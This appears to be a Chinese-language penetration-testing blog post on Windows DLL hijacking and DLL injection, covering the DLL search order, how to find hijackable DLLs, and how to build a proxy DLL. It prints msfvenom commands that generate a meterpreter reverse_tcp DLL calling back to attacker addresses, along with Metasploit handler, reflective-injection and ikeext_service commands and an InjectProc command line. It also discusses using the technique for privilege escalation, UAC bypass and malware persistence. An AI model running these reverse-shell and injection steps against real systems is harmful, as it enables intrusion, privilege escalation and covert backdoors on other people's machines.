0x01 DLL劫持漏洞根源

程序在调用DLL时未指明DLL的完整路径
提到的DLL劫持漏洞微软尚未给出直接的修复方法,原因可能有以下几点:(by 3gstudent)

  • 这是开发者的失误,换用绝对路径就能避免这个问题
  • 利用的前提是攻击者已经能够在同级目录放置文件,这代表系统已经被攻破
  • 如果直接修复,或许会影响老版本程序,兼容性不好

当一个应用程序需要加载一个DLL时, 加载顺序为

  • 应用程序的目录
  • c:\windows\system32
  • c:\windows\system
  • c:\windows
  • 当前工作目录
  • 系统PATH环境变量
  • 用户PATH环境变量

默认情况下,如果软件安装在C盘根目录而不是c:\Program Files,那经过身份验证的用户具有该目录写入权限。
另外,Perl,Python,Ruby等软件通常都添加到Path变量中。
那攻击者可以在当前目录中编写恶意DLL,只要重新运行exe程序就gg。详细内容见:microsoft

0×02 劫持Windows系统的DLL

要分析一个应用程序是否存在劫持系统DLL的漏洞,需要这么几个步骤:

  • 启动应用程序
  • 使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。
  • 从该应用程序已经加载的DLL列表中,查找在上述KnownDLLs注册表项中不存在的DLL。
  • 编写第三步中获取到的DLL的劫持DLL。
  • 将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。

0x03 如何编写一个劫持的DLL

测试靶机:Server 2008 R2
攻击主机:Mac + Metasploit

DLL_Hijacker.py

1.查看被劫持的DLL的导出函数表。
2.编程实现劫持DLL向原DLL的导出函数的转发,并加入你的恶意代码

使用DLL_Hijacker.py脚本可以一键生成劫持指定DLL的CPP源码文件。
对这个CPP文件进行编译就生成了相应的劫持DLL文件。

metasploit生成dll并监听

1
2
3
4
5
6
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=101.101.101.100 lport=2222 -f dll > attack.dll
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 10.10.10.2
    set lport 4444
    run

remote-dll-injector

据说采取了CreateRemoteThread的技术,支持dll注入的工具,提供pid和dll路径就行,测试失败
图片已损坏

Metasploit注入

1
2
3
4
5
6
方法一
    use post/windows/manage/reflective_dll_inject
    set path 攻击主机的dll路径
    set pid  xxxx
    set session x
    exploit

图片已损坏

1
2
3
4
5
方法二
    use exploit/windows/local/ikeext_service
    set dir C:\\windows\\
    set session x
    run

图片已损坏

Invoke-DllInjection

图片已损坏

可能是我的方法不对,第一二两种皆失败,powersploit和ikeext_service成功。有知道的朋友麻烦联系下qq。在此多谢

更新injectProc

1
2
InjectProc.exe dll_inj path/to/dll.dll notepad.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2222 LPORT=4444 -f dll -o xxxx.dll

https://www.youtube.com/watch?v=hLPDq9nSHMw


0x04 结语

为了能够通过DLL劫持升级特权,需要满足以下条件:

  • 在系统文件夹上写入权限
  • 软件安装在非默认目录下
  • 作为系统运行并缺少DLL的服务
  • 重新启动服务


另外,在挖掘此类漏洞时也要注意到不存在劫持漏洞的DLL如果调用了一个或多个其他DLL,那么依旧有可能会产生DLL劫持漏洞。如果宿主进程已经取得了UAC权限,那么DLL劫持也是另外一种获取UAC权限的方式,同时,由于DLL劫持漏洞的隐蔽性,安全软件难以捕捉检测,很多恶意软件使用此漏洞作为后门的通道或者自启动技术。后续将更新lnk-dll劫持。敬请期待

最后附上lostwolf表哥的添加用户的dll